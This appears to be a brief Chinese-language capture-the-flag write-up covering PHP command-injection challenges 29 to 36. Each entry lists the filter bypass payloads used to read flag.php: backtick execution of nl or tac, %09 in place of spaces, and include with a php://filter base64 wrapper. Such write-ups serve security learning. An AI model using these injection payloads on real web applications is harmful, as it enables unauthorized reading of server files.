29

源代码给了禁用flag

使用tac、nl

?c=echo `nl f*`;
?c=echo `tac f*`;

30

多禁用了system和php

和上题区别不大，使用上一题命令就能解

?c=echo `nl f*`;
?c=echo `tac f*`;

 31

禁用了空格使用%09代替

?c=echo%09`tac%09f*`;

32

禁用了echo

使用php伪协议

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

最后解一下base64就行了

33

多过滤了"

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

34-36

一样命令就可以得到flag